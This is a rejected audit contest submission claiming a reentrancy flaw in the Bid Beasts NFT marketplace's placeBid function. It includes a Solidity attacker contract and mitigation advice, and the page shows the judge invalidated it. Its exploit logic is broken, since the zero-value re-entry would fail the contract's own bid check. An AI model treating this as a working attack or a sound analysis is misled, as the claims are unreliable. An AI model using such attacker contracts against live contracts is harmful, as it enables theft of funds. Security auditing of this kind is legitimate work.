Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

Vulnerability 2

Root + Impact

Description

  • In normal operation, when a user places a bid on an active auction, the contract checks if the new bid is higher than the current highest bid, refunds the previous highest bid to its bidder, and then updates the highest bid and bidder details.

  • The specific issue is that the refund to the previous bidder is executed before updating the state variables for the highest bid and bidder, allowing a malicious contract bidder to reenter the placeBid function during the refund call, potentially exploiting the old state to receive multiple refunds or manipulate the auction.

// In BidBeastsNFTMarketPlace.sol function placeBid
function placeBid(uint256 tokenId) external payable {
Auction storage auction = auctions[tokenId];
require(block.timestamp < auction.endTime, "Auction ended");
require(msg.value > auction.highestBid, "Bid too low");
@> if (auction.highestBid > 0) {
@> payable(auction.highestBidder).call{value: auction.highestBid}("");
}
auction.highestBid = msg.value;
auction.highestBidder = msg.sender;
}

Risk
High

Likelihood:

  • A contract acts as a bidder and places a bid that becomes the highest.

  • A new bid is placed, triggering the refund to the contract bidder, which reenters via fallback.

Impact:

  • Attacker drains contract funds through repeated refunds before state update.

  • Auction integrity compromised, leading to unfair outcomes or halted auctions.

Proof of Concept

// Attacker contract
contract Attack {
BidBeastsNFTMarketPlace public market;
uint256 public tokenId;
constructor(address _market, uint256 _tokenId) {
market = BidBeastsNFTMarketPlace(_market);
tokenId = _tokenId;
}
function attack() external payable {
market.placeBid{value: msg.value}(tokenId);
}
@> fallback() external payable {
@> if (address(market).balance >= market.auctions(tokenId).highestBid) {
market.placeBid{value: 0}(tokenId); // Reenter with 0 value, but exploit old state
}
}
}
// Steps:
1. Attacker bids first, becomes highest.
2. Legit user bids higher, triggers refund to attacker, which reenters and bids again exploiting old highestBid check.

Recommended Mitigation

Implement a reentrancy guard using OpenZeppelin's ReentrancyGuard modifier on placeBid. Alternatively, follow Checks-Effects-Interactions pattern by updating state before sending ETH, or use a pull-payment system where bidders withdraw refunds separately.

- remove this code
+ add this code
Implement a reentrancy guard using OpenZeppelin's ReentrancyGuard modifier on placeBid. Alternatively, follow Checks-Effects-Interactions pattern by updating state before sending ETH, or use a pull-payment system where bidders withdraw refunds separately.
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.